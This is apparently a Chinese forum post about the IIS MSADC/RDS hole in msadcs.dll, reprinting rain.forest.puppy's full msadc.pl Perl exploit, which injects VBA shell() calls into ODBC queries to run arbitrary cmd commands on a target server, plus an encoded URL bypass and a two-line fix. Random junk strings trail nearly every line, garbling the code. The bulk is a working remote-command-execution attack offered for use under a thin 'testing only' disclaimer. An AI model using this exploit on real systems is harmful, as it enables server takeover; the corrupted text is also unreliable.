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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) J& )#G@fRX  
yFi6jN#~  
涉及程序:  *0-v!\{  
Microsoft NT server qf)C%3gXI  
U81;7L8  
描述:  'X|v+ ?  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 mHHzCKE,  
s1Okoxh/!V  
详细: OFIMi^@  
如果你没有时间读详细内容的话,就删除: %Dra7B%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll *i%.{ YH  
有关的安全问题就没有了。 N tO?  
)X~#n  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ^aT;aP^l  
cP, ;Qbe  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 PlF!cr7:4  
关于利用ODBC远程漏洞的描述,请参看: ZX h~ 79  
VOg/VGJ  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm | yS5[?.`  
}U(\~ =D  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Ou? r {$(b  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2q/nAQ+  
XN4oL[pO  
这里不再论述。 Et)9 20  
_ r~+p  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 'HJ/2-=  
*$JB`=Q  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset D7M0NEY  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ^t`f1rGR  
)&XnM69~b  
j=FMYd8$y  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Mq76]I%  
xkF$D:s P  
#!perl jzMhJ  
# 7TnM4@*f  
# MSADC/RDS 'usage' (aka exploit) script ot]>}[  
# x3gwG)Sf  
# by rain.forest.puppy \ibCR~W4  
# wInY7u Bd!  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Is<x31R  
# beta test and find errors! m; 1'u;  
"$]ls9-%n  
use Socket; use Getopt::Std; &3WkH W   
getopts("e:vd:h:XR", \%args); &|s+KP|d  
mMV2h|W   
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; O<4Q$|=&?  
Go-wAJ>  
if (!defined $args{h} && !defined $args{R}) { tF<^9stM  
print qq~ g'KzdG`O0  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ^GE^Q\&D&  
-h <host> = host you want to scan (ip or domain) HE*7\"9  
-d <seconds> = delay between calls, default 1 second *1\z^4=a]  
-X = dump Index Server path table, if available Xg,0/P~  
-v = verbose j.<:00<  
-e = external dictionary file for step 5 mXQl;  
1XqIPiXJ  
Or a -R will resume a command session gW'P`Oxw  
YR?3 61FK  
~; exit;} 79 TPg  
dVPq%[J2  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; S&5Q~}{,  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} C  usVW  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} di"C]" ;  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 67}]s@:l](  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} !'Pk jP  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } rn5"o8|  
Vxp$#3 ;S  
if (!defined $args{R}){ $ret = &has_msadc; BPwI8\V  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} \_lG#p|  
"}0)YRz%  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" E}]I%fi  
. "cmd /c "; _=o1?R  
$in=<STDIN>; chomp $in; X!,#'&p&  
$command="cmd /c " . $in ; ->#y(}  
)`B -O::  
if (defined $args{R}) {&load; exit;} n^* >a  
8T8pAs0 p  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ,AdusM  
&try_btcustmr; q :TZ=bs^  
\Pw8wayr%  
print "\nStep 2: Trying to make our own DSN..."; DkDw>Nx<rs  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; qR [}EX&3  
1_Dn?G^H  
print "\nStep 3: Trying known DSNs..."; /Nj:!! AN  
&known_dsn; v\vE^|-\/  
N oX_?  
print "\nStep 4: Trying known .mdbs..."; .jU|gf:x  
&known_mdb; Nb^zkg  
, aRJ!AZ  
if (defined $args{e}){ K^!e-Xi6  
print "\nStep 5: Trying dictionary of DSN names..."; |@o]X?^  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } <.PPs:{8#  
L Q I: ]d  
print "Sorry Charley...maybe next time?\n"; c8k6(#\  
exit; HI"!n$p  
xZ9}8*Q&:  
############################################################################## 6e$sA (a=i  
dO 1-c`  
sub sendraw { # ripped and modded from whisker }@ O|RkY  
sleep($delay); # it's a DoS on the server! At least on mine... QrNL7{  
my ($pstr)=@_; ; McIxvj  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *j_fG$10g  
die("Socket problems\n"); RE`J"&  
if(connect(S,pack "SnA4x8",2,80,$target)){ 877EKvsiC  
select(S); $|=1; Vq\..!y  
print $pstr; my @in=<S>; y(c|5CQ  
select(STDOUT); close(S); 5`{|[J_[  
return @in; m' Ekp  
} else { die("Can't connect...\n"); }} X YNUss  
r?5@Etpg  
############################################################################## eZR8<Z %  
YmO"EWb  
sub make_header { # make the HTTP request N#pl mPrZ  
my $msadc=<<EOT JGSk4  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ga{25q}"  
User-Agent: ACTIVEDATA ;G4HMtL  
Host: $ip :{wsd$Qlj  
Content-Length: $clen +c]N]?k&  
Connection: Keep-Alive uJ IRk$  
o/  x5  
ADCClientVersion:01.06 j^aQ>(t(9  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 /,rF$5G,  
OU)p)Y_z  
--!ADM!ROX!YOUR!WORLD! NDIc?kj~  
Content-Type: application/x-varg 282+1X  
Content-Length: $reqlen RK~FT/  
F)E7(Un`8  
EOT 6wpND|cT  
; $msadc=~s/\n/\r\n/g; [KimY  
return $msadc;} FQ9csUjpB  
WnJLX ^;  
############################################################################## vYMbson}  
YzhN|!;!k  
sub make_req { # make the RDS request 3'sWlhf;  
my ($switch, $p1, $p2)=@_; q*RaX 4V  
my $req=""; my $t1, $t2, $query, $dsn; n6%jhv9H  
Z|Lh^G  
if ($switch==1){ # this is the btcustmr.mdb query RZV1:hNN  
$query="Select * from Customers where City=" . make_shell(); ktw!T{  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . :E >n)_^  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} n7,6a  
-EkDG]my  
elsif ($switch==2){ # this is general make table query &Xl_sDvt  
$query="create table AZZ (B int, C varchar(10))"; (;2J(GZ:$U  
$dsn="$p1";} !(ux.T0  
J%Z)#  
elsif ($switch==3){ # this is general exploit table query S!I <m&Cgc  
$query="select * from AZZ where C=" . make_shell(); )(ZPSg$/F  
$dsn="$p1";} L1Cn  
'9p5UC  
elsif ($switch==4){ # attempt to hork file info from index server h[`Op#^x3  
$query="select path from scope()"; tFST.yT>zg  
$dsn="Provider=MSIDXS;";} aD/,c1  
6rN5Xf cS  
elsif ($switch==5){ # bad query : 7DVc&0  
$query="select"; cdtzf:#q  
$dsn="$p1";} <1g1hqK3  
[;CqvD<S  
$t1= make_unicode($query); F{H0 %  
$t2= make_unicode($dsn); 5.K$ X$+7}  
$req = "\x02\x00\x03\x00"; N>6yacTB  
$req.= "\x08\x00" . pack ("S1", length($t1)); Znl>*e/|  
$req.= "\x00\x00" . $t1 ; Fx88 R !  
$req.= "\x08\x00" . pack ("S1", length($t2)); !,JT91  
$req.= "\x00\x00" . $t2 ; _F|_C5A  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; '3_B1iAv  
return $req;} H'h4@S  
!qGx(D{\  
############################################################################## p|9ECdU>;  
$:gSc &mx  
sub make_shell { # this makes the shell() statement ~ %YTJS  
return "'|shell(\"$command\")|'";} zm3MOH^a  
]I' xLh`  
############################################################################## > %cWTC  
6!Ji>h.Ak  
sub make_unicode { # quick little function to convert to unicode 2hA66ar{$  
my ($in)=@_; my $out; [@)z$W  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } w4MMo  
return $out;} L"du"-  
'S D|ObBY  
############################################################################## er7/BE&  
;7`um  
sub rdo_success { # checks for RDO return success (this is kludge) KsU&<eQ  
my (@in) = @_; my $base=content_start(@in); iN/!k.ybW}  
if($in[$base]=~/multipart\/mixed/){ dpn&)?f  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} aU8Ti8A>  
return 0;} 8J?`_  
.L{+O6*c  
############################################################################## 5<BV\'  
DHNii_w4v  
sub make_dsn { # this makes a DSN for us Sfa m=.l  
my @drives=("c","d","e","f"); iGeT^!N  
print "\nMaking DSN: "; RqjDMN:  
foreach $drive (@drives) { ,<j5i?  
print "$drive: "; DoB3_=yJ+  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . u{nWjqrM*5  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" OO+#KyU   
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); nMdN$E  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ne24QZ~}  
return 0 if $2 eq "404"; # not found/doesn't exist S9#N%{8P  
if($2 eq "200") { ;Owu:}   
foreach $line (@results) { i|{nj\6w^  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Fl3r!a!P,  
} return 0;} d47:2Zj  
'2J6%Gg  
############################################################################## QV7c9)<]'}  
o@`E.4  
sub verify_exists { Ollv _o3  
my ($page)=@_; '{k Nbx51  
my @results=sendraw("GET $page HTTP/1.0\n\n"); YeVc,B'  
return $results[0];} k:@Ls  
m+^;\DFJ,  
############################################################################## 3[i !2iL.  
G$`4.,g  
sub try_btcustmr { 9Kx:^~}20o  
my @drives=("c","d","e","f"); >N1]h'q>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~dr1Qi#j?  
HV7(6VSJ+  
foreach $dir (@dirs) { :#htOsP  
print "$dir -> "; # fun status so you can see progress zjh9ZLu[  
foreach $drive (@drives) { 7-g4S]r<  
print "$drive: "; # ditto +9F#~{v`4a  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; KXfW&d(Pk  
$reqlenlen=length( "$reqlen" ); Y@S6m@.$  
$clen= 206 + $reqlenlen + $reqlen; r<N*N,~  
^?xJpr%)  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Z=[a 8CU  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} g E+OQWu  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Z3~*R7G8>  
D2 cIVx3:(  
############################################################################## q>4i0p8^  
O36r ,/X  
sub odbc_error { C|@k+^S  
my (@in)=@_; my $base; 4 Wd5Goe:  
my $base = content_start(@in); RW^v{'o  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this CuO*>g^K[  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; UKQ&TV}0  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2.2a2.I1  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3C[4!>|  
return $in[$base+4].$in[$base+5].$in[$base+6];} `+;oo B  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; {^MAdC_  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . xKzFrP;/{  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} (NN14  
t% B!\]  
############################################################################## RAQ;O  
Vzm+Ew _  
sub verbose { h`rjDd  
my ($in)=@_; KrG6z#)Uz  
return if !$verbose; |5B9tjJ"  
print STDOUT "\n$in\n";} Y8{1?LO  
TaJn2cC^  
############################################################################## #$C]0]|  
$<mL2$.L~  
sub save { LK/V]YG  
my ($p1, $p2, $p3, $p4)=@_; n$Fm~iPo,  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; H{zuIN/.1  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; oxXW`C<  
close OUT;} 0BE^qe  
ByvqwJY  
############################################################################## [F{a-i-  
z9O/MHT[w  
sub load { j|dzd<kE6  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; IqKXFORiNI  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); pv SFp-:_  
@p=<IN>; close(IN); o`! :Q!+  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); F+S#m3X  
$target= inet_aton($ip) || die("inet_aton problems"); ''Ec-b6Q-  
print "Resuming to $ip ..."; /O9EI'40)  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; =u"|qD  
if($p[1]==1) { Qug'B  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; geSo#mV  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 1)Bi>X  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 'X<uG x  
if (rdo_success(@results)){print "Success!\n";} U2nRgd  
else { print "failed\n"; verbose(odbc_error(@results));}} 3g:+p  
elsif ($p[1]==3){ Vho0f<`E  
if(run_query("$p[3]")){ iquGLwJ  
print "Success!\n";} else { print "failed\n"; }} vqZM89 xY  
elsif ($p[1]==4){ 31Mc<4zI8  
if(run_query($drvst . "$p[3]")){ ]3jH^7[?  
print "Success!\n"; } else { print "failed\n"; }} { F8,^+b|  
exit;} "*\3.`Kd  
6WM_V9Tidq  
############################################################################## JjML!;  
)!-'SH  
sub create_table { .]c:Zt}P  
my ($in)=@_; Utp\}0GZY  
$reqlen=length( make_req(2,$in,"") ) - 28; YKd?)$J  
$reqlenlen=length( "$reqlen" ); Mg/2 w  
$clen= 206 + $reqlenlen + $reqlen; bA,D]  
my @results=sendraw(make_header() . make_req(2,$in,"")); C,u.!g;lm  
return 1 if rdo_success(@results); C YKGf1;If  
my $temp= odbc_error(@results); verbose($temp); ur7a%NH  
return 1 if $temp=~/Table 'AZZ' already exists/; *OcptmY<  
return 0;} /2cOZ1G;  
) <~7<.0  
############################################################################## W78-'c  
{z_pL^S'52  
sub known_dsn { .6#2i <oPW  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go M4\Io]}-M  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Zotv]P2k  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", wuQkeWxJ  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); =K8h)B_g  
f+AIxSw  
foreach $dSn (@dsns) { 2GS2,  
print "."; "ZW*O{  
next if (!is_access("DSN=$dSn")); )\G#[Pc7  
if(create_table("DSN=$dSn")){ t]%R4ymV  
print "$dSn successful\n"; HX*U2<^  
if(run_query("DSN=$dSn")){ E#p6A5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { o!S_j^p[C  
print "Something's borked. Use verbose next time\n";}}} print "\n";} _nq n|  
}cmL{S  
############################################################################## G[,VPC=  
epm|pA*  
sub is_access { 8, ^UQ5x  
my ($in)=@_; YO+d+5  
$reqlen=length( make_req(5,$in,"") ) - 28; q[K)bg{HB  
$reqlenlen=length( "$reqlen" ); m:CpDxzbf  
$clen= 206 + $reqlenlen + $reqlen; SUhP e+  
my @results=sendraw(make_header() . make_req(5,$in,"")); ,Z"sh*  
my $temp= odbc_error(@results); m#'9)%t!J  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); A79SAheX#  
return 0;} 6V/mR~F1r  
c[q3O**  
############################################################################## WLH2B1_):  
?GZs5CnS  
sub run_query { e~dU "  
my ($in)=@_; $y}Tbm  
$reqlen=length( make_req(3,$in,"") ) - 28; ljmHX2p  
$reqlenlen=length( "$reqlen" ); '9XwUQx  
$clen= 206 + $reqlenlen + $reqlen; 4HAfTQ 1G  
my @results=sendraw(make_header() . make_req(3,$in,"")); IYN`q'%|  
return 1 if rdo_success(@results); "&F/'';0}E  
my $temp= odbc_error(@results); verbose($temp); 2c]O Mtk  
return 0;} kfV}w,  
N@S;{uK  
############################################################################## t-/^O  
"p\KePc;@  
sub known_mdb { `0N/ /Q  
my @drives=("c","d","e","f","g"); \g/E4U .+  
my @dirs=("winnt","winnt35","winnt351","win","windows"); P6rL;_~e  
my $dir, $drive, $mdb; S)?B  I  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; '#?hm-Ga  
p9J(,}  
# this is sparse, because I don't know of many l[Oxf|  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 3kg+*]tLx  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Uz_{jAhW]  
"\\system32\\certmdb.mdb", L^}kwu#  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% QKxu vW  
#a| 5A:g%  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ~8K~@e$./  
"\\cfusion\\cfapps\\forums\\forums_.mdb", **"sru;@=  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", V6N#%(?3  
"\\cfusion\\cfapps\\security\\realm_.mdb", ww*F}}(  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Emo]I[<&q  
"\\cfusion\\database\\cfexamples.mdb", V qf}(3K0  
"\\cfusion\\database\\cfsnippets.mdb", :T2K\@  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", \)hmg  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", e2v,#3Q\  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 2J$Uz,@  
"\\cfusion\\database\\smpolicy.mdb", gnt[l0m  
"\\cfusion\\database\cypress.mdb", 7 m%|TwJN  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", @VFg XN  
"\\website\\cgi-win\\dbsample.mdb", +dRTHz  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", '1aOdEZA*  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 0vEa]ljS  
); #these are just ;x"B ):?\  
foreach $drive (@drives) { 1L ow[i  
foreach $dir (@dirs){ z$A5p4=B'^  
foreach $mdb (@sysmdbs) { r&w>+KIt  
print "."; 6O?O6Ub  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ @M-bE=  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; }|;n[+}  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ eZHi6v)i  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; X |as1Y$O+  
} else { print "Something's borked. Use verbose next time\n"; }}}}} BScysoeD  
1'=brc YR  
foreach $drive (@drives) { l6RJour  
foreach $mdb (@mdbs) { :iJ= 9  
print "."; <W1!n$V ]  
if(create_table($drv . $drive . $dir . $mdb)){ hH~Z hB  
print "\n" . $drive . $dir . $mdb . " successful\n"; 7)YU ;  
if(run_query($drv . $drive . $dir . $mdb)){ EC7o 3LoND  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; \y=,=;yv  
} else { print "Something's borked. Use verbose next time\n"; }}}} e_e|t>nQ  
} mGX;JOjZ  
KMv|;yXYj4  
############################################################################## iJAW| dw}  
h$3Y,-4  
sub hork_idx { ~lMsD~$sO  
print "\nAttempting to dump Index Server tables...\n"; rYT3oqpfT  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ]yyfE7{q  
$reqlen=length( make_req(4,"","") ) - 28; ;tj_vmZ@R  
$reqlenlen=length( "$reqlen" ); G{:L^2>  
$clen= 206 + $reqlenlen + $reqlen; PGJ?=qXr#  
my @results=sendraw2(make_header() . make_req(4,"","")); cCwT0O#d  
if (rdo_success(@results)){ w% M0Mu  
my $max=@results; my $c; my %d; DF#Ob( 1  
for($c=19; $c<$max; $c++){ 8Og9P1jVh  
$results[$c]=~s/\x00//g; vwg\qKqSM  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; }9'rTLM  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Jyn>:Yq(  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; nHhg#wR  
$d{"$1$2"}="";} ='f>p+*c%  
foreach $c (keys %d){ print "$c\n"; } nWh?zf#{  
} else {print "Index server doesn't seem to be installed.\n"; }} Yq.Omr!  
tG6 o^  
############################################################################## tcs Z! #  
YEGXhn5E  
sub dsn_dict { BZE19!  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); OLv(  
while(<IN>){ edm&,ph]  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; =,sMOJ c>  
next if (!is_access("DSN=$dSn")); {It4=I)M  
if(create_table("DSN=$dSn")){ 6oC(09  
print "$dSn successful\n"; C>LkU|[  
if(run_query("DSN=$dSn")){ \Ew2@dF{O  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 0tA+11Iu  
print "Something's borked. Use verbose next time\n";}}} B^oXUEOImq  
print "\n"; close(IN);} %'P58  
 zE{.oi  
############################################################################## c=7L)w:I  
yjr!8L:m  
sub sendraw2 { # ripped and modded from whisker K[sfsWQ.  
sleep($delay); # it's a DoS on the server! At least on mine... y- g5`@  
my ($pstr)=@_; &u8BGMl2  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <yeG0`}t  
die("Socket problems\n"); :R _(+EK1  
if(connect(S,pack "SnA4x8",2,80,$target)){ pNDL:vMWP  
print "Connected. Getting data"; 3ZC[H'|  
open(OUT,">raw.out"); my @in; 7;Wj ^#  
select(S); $|=1; print $pstr; \jC}>9  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 4Vt YR  
close(OUT); select(STDOUT); close(S); return @in; \wM r[_LW  
} else { die("Can't connect...\n"); }} H>VuUH|  
S\Q/ "Y  
############################################################################## g5H+2lSC  
e+S%` Sg  
sub content_start { # this will take in the server headers jA6:-Gz  
my (@in)=@_; my $c; a7ZPV1k  
for ($c=1;$c<500;$c++) { kfn5y#6NZ  
if($in[$c] =~/^\x0d\x0a/){ k;"=y )@o  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } h:l\kr|9  
else { return $c+1; }}} 2;A].5>l  
return -1;} # it should never get here actually Rj-<tR{  
]NN9FM.2b/  
############################################################################## gXG1w>  
 IF uz'  
sub funky { Z$T1nm%lo:  
my (@in)=@_; my $error=odbc_error(@in); FFPO?y$  
if($error=~/ADO could not find the specified provider/){ RTSg=    
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; G<$UcXg  
exit;} JGJQ5zt  
if($error=~/A Handler is required/){ @>JO &,od  
print "\nServer has custom handler filters (they most likely are patched)\n"; R}*e%EG/  
exit;} m"`&FA  
if($error=~/specified Handler has denied Access/){ #lNi\Lw+j  
print "\nServer has custom handler filters (they most likely are patched)\n"; ppS,9e-  
exit;}} Riw#+#r]/  
o XA*K.X<  
############################################################################## U$qSMkj6RK  
faThXq8B  
sub has_msadc { nx=Zl:Q}  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); MAhcwmZNy  
my $base=content_start(@results); J-hP4t&x  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); T0v;8E e  
return 0;} u3Ua>A-  
 &+u$96  
######################## _"=Yj3?G%  
x?T/=C  
1)vdM(y3j  
解决方案: wS#.W zp.w  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll K t9:V,  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Pqi>,c<&mL  
6*le(^y`  
拿出来充数 哈哈
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